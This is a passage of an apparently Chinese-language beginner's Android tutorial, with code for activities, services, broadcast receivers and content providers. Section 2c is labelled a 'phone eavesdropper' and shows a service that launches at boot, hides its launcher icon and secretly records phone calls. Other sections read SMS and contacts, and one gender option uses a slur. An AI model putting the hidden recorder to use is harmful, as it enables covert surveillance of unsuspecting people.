安卓入门
十、组件学习
1、Activity
a、activity跳转和数据传输
public class MainActivity extends AppCompatActivity {
EditText et;
RadioGroup rg;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
et = findViewById(R.id.et);
rg = findViewById(R.id.rg);
}
public void submit(View view) {
String name = et.getText().toString().trim();
int gender = 0;
if (rg.getCheckedRadioButtonId() == R.id.rb1) {
gender = 1;
} else if (rg.getCheckedRadioButtonId() == R.id.rb2) {
gender = 2;
} else if (rg.getCheckedRadioButtonId() == R.id.rb3) {
gender = 3;
}
if ("".equals(name)) {
Toast.makeText(this, "姓名不能为空", Toast.LENGTH_SHORT).show();
} else if (gender == 0) {
Toast.makeText(this, "性别为必选项", Toast.LENGTH_SHORT).show();
} else {
Intent intent = new Intent(this, ResultActivity.class);
intent.putExtra("name", name);
intent.putExtra("gender", gender);
startActivity(intent);
}
}
}
public class ResultActivity extends AppCompatActivity {
EditText etName;
EditText etGender;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_result);
etName = findViewById(R.id.name);
etGender = findViewById(R.id.gender);
Intent intent = getIntent();
String name = intent.getStringExtra("name");
int gender = intent.getIntExtra("gender", 0);
etName.setText(name);
if (gender == 1) {
etGender.setText("男");
} else if (gender == 2) {
etGender.setText("女");
} else if (gender == 3) {
etGender.setText("人妖");
}
}
}
b、跳转短信应用并填充内容
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ListView lv = findViewById(R.id.lv);
String[] list = {"孟美岐", "黄婷婷", "佟丽娅"};
ArrayAdapter<String> adapter = new ArrayAdapter<>(this, R.layout.item, list);
lv.setAdapter(adapter);
lv.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
Intent intent = new Intent();
intent.setAction("android.intent.action.SEND");
intent.addCategory("android.intent.category.DEFAULT");
intent.setType("text/plain");
intent.putExtra("sms_body", list[position]);
startActivity(intent);
}
});
}
}
c、调用发送短信接口
<uses-permission android:name="android.permission.SEND_SMS" />
public class MainActivity extends AppCompatActivity {
private EditText etPhone;
private EditText etMsg;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
etPhone = findViewById(R.id.et_phone);
etMsg = findViewById(R.id.et_msg);
}
public void insertPerson(View view) {
/**
* 视图1跳转视图2,视图2返回视图1并携带数据的步骤:
* 1、视图1:startActivityForResult(意图对象, 请求码);
* 2、视图2:setResult(响应码, 意图对象);
* 3、视图2:finish();
* 4、视图1:onActivityResult(请求码,响应码,意图对象)
*
* 意图对象感觉像可以携带数据的URL
*/
Intent intent = new Intent(this, ContactActivity.class);
startActivityForResult(intent, 1);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
String phone = data.getStringExtra("phone");
etPhone.setText(phone);
}
public void sendMessage(View view) {
String phone = etPhone.getText().toString().trim();
String msg = etMsg.getText().toString().trim();
// 分条发送短信
SmsManager smsManager = SmsManager.getDefault();
ArrayList<String> divideMessage = smsManager.divideMessage(msg);
for (String div : divideMessage) {
smsManager.sendTextMessage(phone, null, div, null, null);
}
}
}
public class ContactActivity extends AppCompatActivity {
List<Person> pList;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_contact);
pList = new ArrayList<Person>();
for (int i = 0; i < 20; i++) {
pList.add(new Person("黄婷婷" + i, 10000 + i));
}
ListView lv = findViewById(R.id.lv);
lv.setAdapter(new MyAdapter());
lv.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
String phone = pList.get(position).getPhone() + "";
Intent intent = new Intent();
intent.putExtra("phone", phone);
setResult(10, intent);
finish();
}
});
}
private class MyAdapter extends BaseAdapter {
@Override
public int getCount() {
return pList.size();
}
@Override
public Object getItem(int position) {
return pList.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
if (convertView == null) {
convertView = View.inflate(getApplicationContext(), R.layout.contact_item, null);
}
TextView tvName = convertView.findViewById(R.id.tv_name);
tvName.setText(pList.get(position).getName());
TextView tvPhone = convertView.findViewById(R.id.tv_phone);
tvPhone.setText(pList.get(position).getPhone() + "");
return convertView;
}
}
}
d、activity生命周期
onCreate(->onRestart)->onStart->onResume->onPause->onStop->onDestroy
2、Service
a、进程的概念
1、进程概念介绍
* Android下四大组件都是运行在主线程中
* 服务是在后台运行,没有界面
2、进程的优先级
* Foregrount process(前台进程):优先级最高,相当于activity执行了onResume方法,用户正在交互
* Visible process(可视进程):一直影响用户看得见,相当于activity执行了onPause方法
* Service process(服务进程):通过startService方法开启了一个服务
* Background process(后台进程):相当于activity执行了onStop方法,界面不可见,但是activity并没有销毁
* Empty process(空进程):不会维持任何组件运行
b、startService和bindService
<application>
<service android:name=".MyService" />
</application>
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void startServiceBtn(View view) {
startService(new Intent(this, MyService.class));
}
public void stopServiceBtn(View view) {
stopService(new Intent(this, MyService.class));
}
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
System.out.println("服务连接成功");
}
@Override
public void onServiceDisconnected(ComponentName name) {
System.out.println("服务断开连接");
}
};
public void bindServiceBtn(View view) {
bindService(new Intent(this, MyService.class), connection, Context.BIND_AUTO_CREATE);
}
public void unBindServiceBtn(View view) {
unbindService(connection);
}
@Override
protected void onDestroy() {
unbindService(connection);
super.onDestroy();
}
}
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:orientation="vertical">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="startService"
android:textSize="32sp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:gravity="center_horizontal">
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginHorizontal="10dp"
android:onClick="startServiceBtn"
android:text="startServiceBtn" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginHorizontal="10dp"
android:onClick="stopServiceBtn"
android:text="stopServiceBtn" />
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="bindService"
android:textSize="32sp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:gravity="center_horizontal">
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginHorizontal="10dp"
android:onClick="bindServiceBtn"
android:text="bindServiceBtn" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginHorizontal="10dp"
android:onClick="unBindServiceBtn"
android:text="unBindServiceBtn" />
</LinearLayout>
</LinearLayout>
public class MyService extends Service {
/**
* 开启服务执行此方法,只执行一次
*/
@Override
public void onCreate() {
Log.e("--->", "onCreate");
super.onCreate();
}
/**
* 每次执行startService方法,都会执行此方法
*/
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.e("--->", "onStartCommand");
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onStart(Intent intent, int startId) {
Log.e("--->", "onStart");
super.onStart(intent, startId);
}
/**
* 1、第一次点击绑定服务按钮,会执行服务的onCreate方法和onBind方法
* 2、当onBind方法返回为null的时候,onServiceConnected方法是不执行的
* 3、第二次点击绑定服务按钮,服务没有响应
* 4、活动页(activity)销毁的时候,绑定的服务也会销毁
* 5、服务不可以多次解绑,多次解绑会报异常
* 6、通过bind方式开启服务,服务不能在设置页面找到,相当于是一个隐形的服务
*/
@Nullable
@Override
public IBinder onBind(Intent intent) {
Log.e("--->", "onBind");
return null;
}
@Override
public boolean onUnbind(Intent intent) {
Log.e("--->", "onUnbind");
return super.onUnbind(intent);
}
/**
* 手动停止服务执行此方法
*/
@Override
public void onDestroy() {
Log.e("--->", "onDestroy");
super.onDestroy();
}
}
c、电话听窃器案例
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.wuxi.myandroid">
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:allowBackup="true"
android:icon="@drawable/meinv"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.我的安卓">
<activity
android:name=".MainActivity"
android:exported="true">
<!--当只需要服务(service)启动,无需活动页(activity)显示时,可注销intent-filter标签-->
<!--<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>-->
</activity>
<service android:name=".MyService" />
<receiver
android:name=".MyReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent it = new Intent(context, MyService.class);
context.startService(it);
}
}
public class MyService extends Service {
private MediaRecorder recorder;
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
// 获取TelephonyManager实例
TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
// 注册电话监听
tm.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
@Override
public void onDestroy() {
super.onDestroy();
}
private class MyPhoneStateListener extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String phoneNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空闲状态
if (recorder != null) {
recorder.stop();//停止录音
recorder.reset();//重置
recorder.release();//释放资源
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听状态
if (recorder != null) {
recorder.start();//开始录音
}
break;
case TelephonyManager.CALL_STATE_RINGING://响铃状态
//创建MediaRecorder实例
recorder = new MediaRecorder();
//设置音频的来源
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//设置输出的格式
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//设置存放的路径
recorder.setOutputFile("/mnt/sdcard/luyin.3gp");
try {
//准备录
recorder.prepare();
} catch (IOException e) {
e.printStackTrace();
}
break;
}
super.onCallStateChanged(state, phoneNumber);
}
}
}
d、通过bindService方式调用服务的方法
public class MainActivity extends AppCompatActivity {
private IMyBinder myBinder;
private ServiceConnection connection;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(this, MyService.class);
connection = new MyServiceConnection();
bindService(intent, connection, BIND_AUTO_CREATE);
}
public void callServiceMethod(View view) {
myBinder.callServiceMethod("调用服务的方法");
}
@Override
protected void onDestroy() {
unbindService(connection);
super.onDestroy();
}
private class MyServiceConnection implements ServiceConnection {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
myBinder = (IMyBinder) service;
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
}
}
public class MyService extends Service {
@Nullable
@Override
public IBinder onBind(Intent intent) {
return new MyBinder();
}
public void serviceMethod(String msg) {
Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_SHORT).show();
}
// 接口方式调用服务方法
private class MyBinder extends Binder implements IMyBinder {
public void callServiceMethod(String msg) {
// 调用服务的方法
serviceMethod(msg);
}
}
}
public interface IMyBinder {
void callServiceMethod(String msg);
}
e、百度音乐盒案例(混合方式开启服务)
步骤:startService->bindService->unBindService->stopService。案例在多媒体章节,音频案例
f、调用远程服务
<service
android:name=".MyService"
android:exported="true">
<intent-filter>
<action android:name="com.wuxi.myandroid" />
</intent-filter>
</service>
public class MyService extends Service {
@Nullable
@Override
public IBinder onBind(Intent intent) {
return new MyBinder();
}
public void serviceMethod(String msg) {
Log.e("--->", msg);
}
private class MyBinder extends IMyBinder.Stub {
public void callServiceMethod(String msg) {
serviceMethod(msg);
}
}
}
- IMyBinder.aidl(远程服务和本地调用者)
// 不能使用public修饰
// 远程服务和本地调用者使用相同aidl,包名必须一致,由远程服务提供
interface IMyBinder {
void callServiceMethod(String msg);
}
public class MainActivity extends AppCompatActivity {
private IMyBinder myBinder;
private ServiceConnection connection;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction("com.wuxi.myandroid");
connection = new MyServiceConnection();
bindService(intent, connection, BIND_AUTO_CREATE);
}
public void callServiceMethod(View view) {
try {
myBinder.callServiceMethod("调用远程服务的方法");
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
protected void onDestroy() {
unbindService(connection);
super.onDestroy();
}
private class MyServiceConnection implements ServiceConnection {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
myBinder = IMyBinder.Stub.asInterface(service);
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
}
}
g、通知和服务连用,可以提升进程的优先级
public class MyService extends Service {
@Override
public IBinder onBind(Intent intent) {
throw null;
}
@Override
public void onCreate() {
//通知和服务连用,可以提升进程的优先级
//startForeground(id,notification);
super.onCreate();
}
}
3、Receiver
a、发送动态无序广播(广播无需在清单文件中注册)
public class MainActivity extends AppCompatActivity {
MyReceiver myReceiver;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
myReceiver = new MyReceiver();
IntentFilter itFilter = new IntentFilter();
// 解锁屏广播必须是动态注册,且需要被注销
// itFilter.addAction("android.intent.action.SCREEN_OFF");
// itFilter.addAction("android.intent.action.SCREEN_ON");
itFilter.addAction("com.wuxi.myandroid");
registerReceiver(myReceiver, itFilter);
}
@Override
protected void onDestroy() {
unregisterReceiver(myReceiver);
super.onDestroy();
}
public void sendReceiver(View view) {
Intent intent = new Intent();
intent.setAction("com.wuxi.myandroid");
intent.putExtra("name", "黄婷婷");
sendBroadcast(intent);
}
}
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:orientation="vertical">
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="sendReceiver"
android:text="发送广播" />
</LinearLayout>
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String name = intent.getStringExtra("name");
Log.e("--->", "接收动态无序广播:" + name);
}
}
b、打电话广播
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<receiver
android:name=".MyReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
SharedPreferences sp = getSharedPreferences("info", 0);
SharedPreferences.Editor edit = sp.edit();
edit.putString("ipNumber", "17950");
edit.apply();
}
}
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
SharedPreferences sp = context.getSharedPreferences("info", 0);
String ipNumber = sp.getString("ipNumber", "");
String resultData = getResultData();
Log.e("--->", ipNumber);
Log.e("--->", resultData);
setResultData(ipNumber + resultData);
}
}
c、sd卡状态广播
<receiver
android:name=".MyReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MEDIA_MOUNTED" />
<action android:name="android.intent.action.MEDIA_UNMOUNTED" />
<data android:scheme="file" />
</intent-filter>
</receiver>
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if ("android.intent.action.MEDIA_MOUNTED".equals(action)) {
Log.e("--->", "sd卡装载了");
} else if ("android.intent.action.MEDIA_UNMOUNTED".equals(action)) {
Log.e("--->", "sd卡卸载了");
}
}
}
d、短信接收广播
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver
android:name=".MyReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for (Object pdu : pdus) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String messageBody = smsMessage.getMessageBody();
String address = smsMessage.getOriginatingAddress();
Log.e("--->", address + ":" + messageBody);
}
}
}
e、应用装卸载广播
<receiver
android:name=".MyReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
</intent-filter>
</receiver>
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if ("android.intent.action.PACKAGE_ADDED".equals(action)) {
Log.e("--->", intent.getData() + "安装了");
} else if ("android.intent.action.PACKAGE_REMOVED".equals(action)) {
Log.e("--->", intent.getData() + "卸载了");
}
}
}
f、手机重启广播
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<receiver
android:name=".MyReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent newIntent = new Intent(context, MainActivity.class);
// 广播中开启activity,需加任务栈标记
newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(newIntent);
}
}
g、有序广播
<receiver
android:name=".MyReceiver1"
android:exported="true">
<!--android:priority:数字越大优先级越高,范围1000~-1000-->
<intent-filter android:priority="1000">
<action android:name="com.wuxi.myandroid" />
</intent-filter>
</receiver>
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void sendReceiver(View view) {
Intent intent = new Intent();
intent.setAction("com.wuxi.myandroid");
MyReceiver myReceiver = new MyReceiver();
/**
* 参数1:意图对象
* 参数3:广播最终接收者
* 参数5:初始码
* 参数6:初始数据,可被接收者的getResultData()方法获取
*/
sendOrderedBroadcast(intent, null, myReceiver, null, 1, "黄婷婷", null);
}
}
public class MyReceiver1 extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String resultData = getResultData();
Log.e("--->", resultData);
// 无序广播不可使用此方法终止广播
abortBroadcast();
// 无序广播和广播最终接收者,不可使用此方法设置数据
setResultData("鞠婧祎");
}
}
4、Provider
a、基本使用
<provider
android:name=".MyContentProvider"
android:authorities="com.wuxi.other" />
public class MySQLiteOpenHelper extends SQLiteOpenHelper {
public MySQLiteOpenHelper(Context context) {
super(context, "wuxi.db", null, 1);
}
@Override
public void onCreate(SQLiteDatabase db) {
db.execSQL("create table person(id integer primary key autoincrement,name varchar(20),age integer)");
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
}
}
public class MyContentProvider extends ContentProvider {
private static final UriMatcher sURIMatcher = new UriMatcher(UriMatcher.NO_MATCH);
private MySQLiteOpenHelper mySQLiteOpenHelper;
private static final int QUERYSUCCESS = 1;
private static final int INSERTSUCCESS = 2;
private static final int DELETESUCCESS = 3;
private static final int UPDATESUCCESS = 4;
static {
sURIMatcher.addURI("com.wuxi.other", "query", QUERYSUCCESS);
sURIMatcher.addURI("com.wuxi.other", "insert", INSERTSUCCESS);
sURIMatcher.addURI("com.wuxi.other", "delete", DELETESUCCESS);
sURIMatcher.addURI("com.wuxi.other", "update", UPDATESUCCESS);
}
@Override
public boolean onCreate() {
mySQLiteOpenHelper = new MySQLiteOpenHelper(getContext());
return false;
}
@Nullable
@Override
public Cursor query(@NonNull Uri uri, @Nullable String[] projection, @Nullable String selection,
@Nullable String[] selectionArgs, @Nullable String sortOrder) {
int code = sURIMatcher.match(uri);
if (code == QUERYSUCCESS) {
SQLiteDatabase db = mySQLiteOpenHelper.getReadableDatabase();
Cursor cursor = db.query("person", projection, selection, selectionArgs, null, null, sortOrder);
getContext().getContentResolver().notifyChange(uri, null);
return cursor;
} else {
throw new IllegalArgumentException("查询路径参数不匹配");
}
}
@Nullable
@Override
public String getType(@NonNull Uri uri) {
return null;
}
@Nullable
@Override
public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
int code = sURIMatcher.match(uri);
if (code == INSERTSUCCESS) {
SQLiteDatabase db = mySQLiteOpenHelper.getWritableDatabase();
long numb = db.insert("person", null, values);
db.close();
getContext().getContentResolver().notifyChange(uri, null);
Uri res = Uri.parse("com.wuxi.other/insert/" + numb);
return res;
} else {
throw new IllegalArgumentException("新增路径参数不匹配");
}
}
@Override
public int delete(@NonNull Uri uri, @Nullable String selection, @Nullable String[] selectionArgs) {
int code = sURIMatcher.match(uri);
if (code == DELETESUCCESS) {
SQLiteDatabase db = mySQLiteOpenHelper.getWritableDatabase();
int numb = db.delete("person", selection, selectionArgs);
db.close();
getContext().getContentResolver().notifyChange(uri, null);
return numb;
} else {
throw new IllegalArgumentException("删除路径参数不匹配");
}
}
@Override
public int update(@NonNull Uri uri, @Nullable ContentValues values, @Nullable String selection, @Nullable String[] selectionArgs) {
int code = sURIMatcher.match(uri);
if (code == UPDATESUCCESS) {
SQLiteDatabase db = mySQLiteOpenHelper.getWritableDatabase();
int numb = db.update("person", values, selection, selectionArgs);
db.close();
getContext().getContentResolver().notifyChange(uri, null);
return numb;
} else {
throw new IllegalArgumentException("修改路径参数不匹配");
}
}
}
public class MainActivity extends AppCompatActivity {
private TextView tv;
private EditText etName;
private EditText etAge;
private EditText etId;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
tv = findViewById(R.id.tv);
etName = findViewById(R.id.et_name);
etAge = findViewById(R.id.et_age);
etId = findViewById(R.id.et_id);
}
// 点击添加按钮的事件
public void insertHandler(View view) {
Uri uri = Uri.parse("content://com.wuxi.other/insert");
String name = etName.getText().toString().trim();
int age = Integer.parseInt(etAge.getText().toString().trim());
ContentValues values = new ContentValues();
values.put("name", name);
values.put("age", age);
getContentResolver().insert(uri, values);
}
// 点击删除按钮的事件
public void deleteHandler(View view) {
Uri uri = Uri.parse("content://com.wuxi.other/delete");
String id = String.valueOf(Integer.parseInt(etId.getText().toString().trim()));
getContentResolver().delete(uri, "id=?", new String[]{id});
}
// 点击修改按钮的事件
public void updateHandler(View view) {
String id = String.valueOf(Integer.parseInt(etId.getText().toString().trim()));
String name = etName.getText().toString().trim();
int age = Integer.parseInt(etAge.getText().toString().trim());
ContentValues values = new ContentValues();
values.put("name", name);
values.put("age", age);
Uri uri = Uri.parse("content://com.wuxi.other/update");
getContentResolver().update(uri, values, "id=?", new String[]{id});
}
// 点击查询按钮的事件
public void selectHandler(View view) {
// 通过通过内容解析者操作数据库
Uri uri = Uri.parse("content://com.wuxi.other/query");
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
StringBuffer sb = new StringBuffer();
if (cursor != null && cursor.getCount() > 0) {
while (cursor.moveToNext()) {
int id = cursor.getInt(0);
String name = cursor.getString(1);
int age = cursor.getInt(2);
sb.append(String.format(Locale.CHINA, "{id:%d,name:%s,age:%d}\n", id, name, age));
}
cursor.close();
}
tv.setText(sb);
}
}
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center_horizontal"
android:orientation="vertical">
<EditText
android:id="@+id/et_id"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="id" />
<EditText
android:id="@+id/et_name"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="name" />
<EditText
android:id="@+id/et_age"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="age" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="insertHandler"
android:text="添加" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="deleteHandler"
android:text="删除" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="updateHandler"
android:text="修改" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="selectHandler"
android:text="查看" />
<TextView
android:id="@+id/tv"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textSize="24sp" />
</LinearLayout>
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Uri uri = Uri.parse("content://com.wuxi.other");
//如果是确切的URI,则参数2为false
getContentResolver().registerContentObserver(uri, true, new MyContentObserver(new Handler()));
}
private class MyContentObserver extends ContentObserver {
public MyContentObserver(Handler handler) {
super(handler);
}
//当内容提供者执行getContext().getContentResolver().notifyChange()操作,观察者就会执行此方法
@Override
public void onChange(boolean selfChange) {
System.out.println("当内容提供者发生改变时调用");
super.onChange(selfChange);
}
}
}
b、操作短信数据库案例
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void selectHandler(View view) {
Uri uri = Uri.parse("content://sms/");
Cursor cursor = getContentResolver().query(uri, new String[]{"address", "date", "body"}, null, null, null);
if (cursor != null && cursor.getCount() > 0) {
while (cursor.moveToNext()) {
String address = cursor.getString(0);
String date = cursor.getString(1);
String body = cursor.getString(2);
System.out.printf(Locale.CHINA, "{address:%s,date:%s,body:%s}%n", address, date, body);
}
}
}
public void insertHandler(View view) {
Uri uri = Uri.parse("content://sms/");
ContentValues values = new ContentValues();
values.put("address", "110");
values.put("date", System.currentTimeMillis());
values.put("body", "孟美岐,黄婷婷,鞠婧祎");
getContentResolver().insert(uri, values);
}
}
c、操作联系人数据库案例
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void selectHandler(View view) {
Uri uri = Uri.parse("content://com.android.contacts/raw_contacts");
Uri dataUri = Uri.parse("content://com.android.contacts/data");
Cursor cursor = getContentResolver().query(uri, new String[]{"contact_id"}, null, null, null);
while (cursor.moveToNext()) {
String contact_id = cursor.getString(0);
if (contact_id != null) {
System.out.println("id:" + contact_id);
Cursor dataCursor = getContentResolver().query(dataUri, new String[]{"data1", "mimetype"}, "raw_contact_id=?",
new String[]{contact_id}, null);
while (dataCursor.moveToNext()) {
String data1 = dataCursor.getString(0);
String mimetype = dataCursor.getString(1);
if ("vnd.android.cursor.item/name".equals(mimetype)) {
System.out.println("姓名:" + data1);
} else if ("vnd.android.cursor.item/phone_v2".equals(mimetype)) {
System.out.println("电话号码:" + data1);
} else if ("vnd.android.cursor.item/email_v2".equals(mimetype)) {
System.out.println("邮箱:" + data1);
}
}
}
}
}
public void insertHandler(View view) {
Uri uri = Uri.parse("content://com.android.contacts/raw_contacts");
Uri dataUri = Uri.parse("content://com.android.contacts/data");
//查询raw_contacts表中一共有几条数据,行数+1就是contact_id的值
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
int count = cursor.getCount();
int contact_id = count + 1;
//插入raw_contacts表
ContentValues values = new ContentValues();
values.put("contact_id", contact_id);
getContentResolver().insert(uri, values);
//name插入data表
ContentValues nameValues = new ContentValues();
nameValues.put("data1", "姓名");
nameValues.put("raw_contact_id", contact_id);
nameValues.put("mimetype", "vnd.android.cursor.item/name");
getContentResolver().insert(dataUri, nameValues);
//phone插入data表
ContentValues phoneValues = new ContentValues();
phoneValues.put("data1", "18120078605");
phoneValues.put("raw_contact_id", contact_id);
phoneValues.put("mimetype", "vnd.android.cursor.item/phone_v2");
getContentResolver().insert(dataUri, phoneValues);
//email插入data表
ContentValues emailValues = new ContentValues();
emailValues.put("data1", "865094624@qq.com");
emailValues.put("raw_contact_id", contact_id);
emailValues.put("mimetype", "vnd.android.cursor.item/email_v2");
getContentResolver().insert(dataUri, emailValues);
}
}
d、观察短信数据库案例
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Uri uri = Uri.parse("content://sms");
getContentResolver().registerContentObserver(uri, true, new MyContentObserver(new Handler()));
}
private class MyContentObserver extends ContentObserver {
public MyContentObserver(Handler handler) {
super(handler);
}
@Override
public void onChange(boolean selfChange) {
System.out.println("短信数据库发生了改变");
super.onChange(selfChange);
}
}
}
5、清单文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.wuxi.myandroid">
<uses-permission android:name="android.permission.SEND_SMS" /> // 权限
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.VIBRATE" /> // 手机振动权限
<application
android:allowBackup="true"
android:icon="@drawable/meinv" // 应用图标
android:label="@string/app_name" // 应用名
